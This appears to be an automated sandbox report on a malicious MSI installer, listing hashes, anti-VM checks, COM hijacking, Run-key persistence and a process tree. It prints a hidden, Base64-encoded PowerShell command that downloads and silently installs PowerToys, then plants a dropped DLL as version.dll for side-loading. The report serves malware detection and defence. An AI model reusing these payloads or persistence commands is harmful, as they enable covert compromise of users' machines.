Analysis
- max time kernel
148s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/07/2026, 09:37
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
_94c112e594335382aa7eb9ac80e39907cb3e6348b1fa59f30373208da188ebf1.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
26 signatures
150 seconds
Behavioral task
behavioral2
Sample
_94c112e594335382aa7eb9ac80e39907cb3e6348b1fa59f30373208da188ebf1.msi
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target _94c112e594335382aa7eb9ac80e39907cb3e6348b1fa59f30373208da188ebf1.msi
- Size 19.1MB
- Sample260709-llly1agy7s
- SHA256 94c112e594335382aa7eb9ac80e39907cb3e6348b1fa59f30373208da188ebf1
- MD5 0f1e2263c726696687897767391607c9
- SHA1 df04e3ea56e23b74b99e38ed6db84d5d3475c6c6
- SHA512 827934ebead36eee3570ecb7148cc1435f9e443c6372964448eb95b7448b43aa6cb1e4a7a0edf1c481abc426b9095c769c144aa6ec3d81b8b18e4ae6c035a271
- SSDEEP 196608:lMtEl/ejGyMG577Y76ScUgXONVGGPQC8f8KnKIG/8Y9OuWyquy+rdlNZ5BZBRFxD:lMtk7yMG57M6nUFzGGPQff8rn/8
- TLSH T16B1723A5C39001A5D9D6C0B83CEB4305D3B97D1AAE4DF874939A42609EAE33325F7D2D
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3728 created 2184 3728 MsiExec.exe 45 - Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse MsiExec.exe - Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ MsiExec.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ MsiExec.exe - Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions MsiExec.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3108 powershell.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools MsiExec.exe - Looks for VMWare services registry key. 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools MsiExec.exe - Looks for Xen service registry key. 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn MsiExec.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Loads dropped DLL 1 IoCs
pid Process 3728 MsiExec.exe - Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Windows\CurrentVersion\Run\xrirsn = "rundll32.exe \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\IdentityStore\\idstorprv.dll\",DllRegisterServer" MsiExec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Windows\CurrentVersion\Run\NetworkConfigHelper = "rundll32.exe C:\\Users\\Admin\\AppData\\Local\\Microsoft\\DiagnosticsHub\\DiagHub.dll,RuntimeCheck" MsiExec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\PTTJOQ1ZA4 = "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABfAG0AeAA9AFsAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAE0AdQB0AGUAeABdADoAOgBuAGUAdwAoACQAZgBhAGwAcwBlACwAJwBHAGwAbwBiAGEAbABcAFAAVABSAEcAQgBRADMARQBNAEoARQA0AFoAJwApADsAaQBmACgALQBuAG8AdAAgACQAXwBtAHgALgBXAGEAaQB0AE8AbgBlACgAMAApACkAewAkAF8AbQB4AC4ARABpAHMAcABvAHMAZQAoACkAOwBlAHgAaQB0AH0AOwB0AHIAeQB7ACQAcwBkAD0AJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBACsAJwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAUgB1AG4AdABpAG0AZQBTAGUAcgB2AGkAYwBlAHMAJwA7ACQAdgBzAD0AJABzAGQAKwAnAFwAVgByAFMAdgBjAC4AZABsAGwAJwA7ACQAZABzAD0AJABzAGQAKwAnAFwAcgB0AHMAdgBjAGIAbABvAGIALgBkAGEAdAAnADsAJAByAD0AdAByAHkAewBJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHAAaQAuAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwByAGUAcABvAHMALwBtAGkAYwByAG8AcwBvAGYAdAAvAFAAbwB3AGUAcgBUAG8AeQBzAC8AcgBlAGwAZQBhAHMAZQBzAC8AbABhAHQAZQBzAHQAJwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADMAMAB9AGMAYQB0AGMAaAB7ACQAbgB1AGwAbAB9ADsAaQBmACgAJAByACkAewAkAHUAPQAoACQAcgAuAGEAcwBzAGUAdABzAHwAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAewAkAF8ALgBuAGEAbQBlACAALQBtAGEAdABjAGgAIAAnAFAAbwB3AGUAcgBUAG8AeQBzAFUAcwBlAHIAUwBlAHQAdQBwAC4AKgB4ADYANABcAC4AZQB4AGUAJwB9AHwAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4AYgByAG8AdwBzAGUAcgBfAGQAbwB3AG4AbABvAGEAZABfAHUAcgBsADsAaQBmACgAJAB1ACkAewAkAHQAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABGAGkAbABlAE4AYQBtAGUAKAApACsAJwAuAGUAeABlACcAOwB0AHIAeQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUALAAkAHQAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAdAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC8AcwBpAGwAZQBuAHQAIAAvAG4AbwByAGUAcwB0AGEAcgB0ACcAIAAtAFcAYQBpAHQAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHQAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAB9AGMAYQB0AGMAaAB7AH0AfQB9ADsAJABwAHQAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAKwAnAFwAUABvAHcAZQByAFQAbwB5AHMAJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABwAHQAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEMAbwBuAHQAYQBpAG4AZQByACkAewBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAdgBzACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAewB0AHIAeQB7AEMAbwBwAHkALQBJAHQAZQBtACAALQBQAGEAdABoACAAJAB2AHMAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAoACQAcAB0ACsAJwBcAHYAZQByAHMAaQBvAG4ALgBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQB9AGMAYQB0AGMAaAB7AH0AfQA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABkAHMAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AHQAcgB5AHsAQwBvAHAAeQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGQAcwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACgAJABwAHQAKwAnAFwAcwB5AG4AYwBiAGwAbwBiAC4AZABhAHQAJwApACAALQBGAG8AcgBjAGUAfQBjAGEAdABjAGgAewB9AH0AOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAoACQAcAB0ACsAJwBcAHYAZQByAHMAaQBvAG4ALgBkAGwAbAAnACkAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AHQAcgB5AHsAUgBlAG0AbwB2AGUALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQAnACAALQBOAGEAbQBlACAAJwBQAFQAVABKAE8AUQAxAFoAQQA0ACcAIAAtAEUAQQAgADAAfQBjAGEAdABjAGgAewB9ADsAdAByAHkAewBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHYAcwAgAC0ARgBvAHIAYwBlACAALQBFAEEAIAAwAH0AYwBhAHQAYwBoAHsAfQB9AH0AfQBmAGkAbgBhAGwAbAB5AHsAdAByAHkAewAkAF8AbQB4AC4AUgBlAGwAZQBhAHMAZQBNAHUAdABlAHgAKAApADsAJABfAG0AeAAuAEQAaQBzAHAAbwBzAGUAKAApAH0AYwBhAHQAYwBoAHsAfQB9AA==" MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\H: msiexec.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 3728 MsiExec.exe 3728 MsiExec.exe 4080 taskhostw.exe - Drops file in Windows directory 14 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF990E4E8D6F060F10.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF3727F2462212BA40.TMP msiexec.exe File created C:\Windows\Installer\e59f19e.msi msiexec.exe File created C:\Windows\SystemTemp\~DFCA58B7F72E22C156.TMP msiexec.exe File opened for modification C:\Windows\Installer\e59f19a.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF3BD.tmp msiexec.exe File created C:\Windows\Installer\MSIF3BD.dat MsiExec.exe File created C:\Windows\Installer\SourceHash{83F25855-A46C-4758-969C-991C8B13DE53} msiexec.exe File opened for modification C:\Windows\Installer\MSI840.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF45972B9B64AFC940.TMP msiexec.exe File created C:\Windows\Installer\e59f19a.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1704 msiexec.exe - Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS MsiExec.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer MsiExec.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName MsiExec.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor MsiExec.exe - Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID MsiExec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\IdentityStore\\idstorprv.dll" MsiExec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32\ThreadingModel = "Both" MsiExec.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32 MsiExec.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} MsiExec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\ThreadingModel = "Both" MsiExec.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32 MsiExec.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} MsiExec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Provisioning\\provsvc.dll" MsiExec.exe - Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3108 powershell.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe 3728 MsiExec.exe - Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 3728 MsiExec.exe 3728 MsiExec.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
pid Process 3728 MsiExec.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1704 msiexec.exe Token: SeIncreaseQuotaPrivilege 1704 msiexec.exe Token: SeSecurityPrivilege 5248 msiexec.exe Token: SeCreateTokenPrivilege 1704 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1704 msiexec.exe Token: SeLockMemoryPrivilege 1704 msiexec.exe Token: SeIncreaseQuotaPrivilege 1704 msiexec.exe Token: SeMachineAccountPrivilege 1704 msiexec.exe Token: SeTcbPrivilege 1704 msiexec.exe Token: SeSecurityPrivilege 1704 msiexec.exe Token: SeTakeOwnershipPrivilege 1704 msiexec.exe Token: SeLoadDriverPrivilege 1704 msiexec.exe Token: SeSystemProfilePrivilege 1704 msiexec.exe Token: SeSystemtimePrivilege 1704 msiexec.exe Token: SeProfSingleProcessPrivilege 1704 msiexec.exe Token: SeIncBasePriorityPrivilege 1704 msiexec.exe Token: SeCreatePagefilePrivilege 1704 msiexec.exe Token: SeCreatePermanentPrivilege 1704 msiexec.exe Token: SeBackupPrivilege 1704 msiexec.exe Token: SeRestorePrivilege 1704 msiexec.exe Token: SeShutdownPrivilege 1704 msiexec.exe Token: SeDebugPrivilege 1704 msiexec.exe Token: SeAuditPrivilege 1704 msiexec.exe Token: SeSystemEnvironmentPrivilege 1704 msiexec.exe Token: SeChangeNotifyPrivilege 1704 msiexec.exe Token: SeRemoteShutdownPrivilege 1704 msiexec.exe Token: SeUndockPrivilege 1704 msiexec.exe Token: SeSyncAgentPrivilege 1704 msiexec.exe Token: SeEnableDelegationPrivilege 1704 msiexec.exe Token: SeManageVolumePrivilege 1704 msiexec.exe Token: SeImpersonatePrivilege 1704 msiexec.exe Token: SeCreateGlobalPrivilege 1704 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeDebugPrivilege 3108 powershell.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe Token: SeTakeOwnershipPrivilege 5248 msiexec.exe Token: SeRestorePrivilege 5248 msiexec.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1704 msiexec.exe 3728 MsiExec.exe 1704 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1704 msiexec.exe 5248 msiexec.exe 3728 MsiExec.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 5248 wrote to memory of 3728 5248 msiexec.exe 88 PID 3728 wrote to memory of 3108 3728 MsiExec.exe 89 PID 3728 wrote to memory of 4080 3728 MsiExec.exe 92 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93 PID 4080 wrote to memory of 6088 4080 taskhostw.exe 93
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2184
-
C:\Windows\System32\taskhostw.exetaskhostw.exe Sync $(Arg0)2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\system32\dllhost.exe"C:\Windows\system32\dllhost.exe"3⤵PID:6088
-
-
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\_94c112e594335382aa7eb9ac80e39907cb3e6348b1fa59f30373208da188ebf1.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1704
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5248 -
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 1DF015A6FD4B13ACF93EE3B340230FE12⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Looks for Xen service registry key.
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3728 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABfAG0AeAA9AFsAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAE0AdQB0AGUAeABdADoAOgBuAGUAdwAoACQAZgBhAGwAcwBlACwAJwBHAGwAbwBiAGEAbABcAFAAVABSAEcAQgBRADMARQBNAEoARQA0AFoAJwApADsAaQBmACgALQBuAG8AdAAgACQAXwBtAHgALgBXAGEAaQB0AE8AbgBlACgAMAApACkAewAkAF8AbQB4AC4ARABpAHMAcABvAHMAZQAoACkAOwBlAHgAaQB0AH0AOwB0AHIAeQB7ACQAcwBkAD0AJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBACsAJwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAUgB1AG4AdABpAG0AZQBTAGUAcgB2AGkAYwBlAHMAJwA7ACQAdgBzAD0AJABzAGQAKwAnAFwAVgByAFMAdgBjAC4AZABsAGwAJwA7ACQAZABzAD0AJABzAGQAKwAnAFwAcgB0AHMAdgBjAGIAbABvAGIALgBkAGEAdAAnADsAJAByAD0AdAByAHkAewBJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHAAaQAuAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwByAGUAcABvAHMALwBtAGkAYwByAG8AcwBvAGYAdAAvAFAAbwB3AGUAcgBUAG8AeQBzAC8AcgBlAGwAZQBhAHMAZQBzAC8AbABhAHQAZQBzAHQAJwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADMAMAB9AGMAYQB0AGMAaAB7ACQAbgB1AGwAbAB9ADsAaQBmACgAJAByACkAewAkAHUAPQAoACQAcgAuAGEAcwBzAGUAdABzAHwAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAewAkAF8ALgBuAGEAbQBlACAALQBtAGEAdABjAGgAIAAnAFAAbwB3AGUAcgBUAG8AeQBzAFUAcwBlAHIAUwBlAHQAdQBwAC4AKgB4ADYANABcAC4AZQB4AGUAJwB9AHwAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4AYgByAG8AdwBzAGUAcgBfAGQAbwB3AG4AbABvAGEAZABfAHUAcgBsADsAaQBmACgAJAB1ACkAewAkAHQAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABGAGkAbABlAE4AYQBtAGUAKAApACsAJwAuAGUAeABlACcAOwB0AHIAeQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUALAAkAHQAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAdAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC8AcwBpAGwAZQBuAHQAIAAvAG4AbwByAGUAcwB0AGEAcgB0ACcAIAAtAFcAYQBpAHQAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHQAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAB9AGMAYQB0AGMAaAB7AH0AfQB9ADsAJABwAHQAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAKwAnAFwAUABvAHcAZQByAFQAbwB5AHMAJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABwAHQAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEMAbwBuAHQAYQBpAG4AZQByACkAewBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAdgBzACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAewB0AHIAeQB7AEMAbwBwAHkALQBJAHQAZQBtACAALQBQAGEAdABoACAAJAB2AHMAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAoACQAcAB0ACsAJwBcAHYAZQByAHMAaQBvAG4ALgBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQB9AGMAYQB0AGMAaAB7AH0AfQA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABkAHMAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AHQAcgB5AHsAQwBvAHAAeQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGQAcwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACgAJABwAHQAKwAnAFwAcwB5AG4AYwBiAGwAbwBiAC4AZABhAHQAJwApACAALQBGAG8AcgBjAGUAfQBjAGEAdABjAGgAewB9AH0AOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAoACQAcAB0ACsAJwBcAHYAZQByAHMAaQBvAG4ALgBkAGwAbAAnACkAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AHQAcgB5AHsAUgBlAG0AbwB2AGUALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQAnACAALQBOAGEAbQBlACAAJwBQAFQAVABKAE8AUQAxAFoAQQA0ACcAIAAtAEUAQQAgADAAfQBjAGEAdABjAGgAewB9ADsAdAByAHkAewBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAI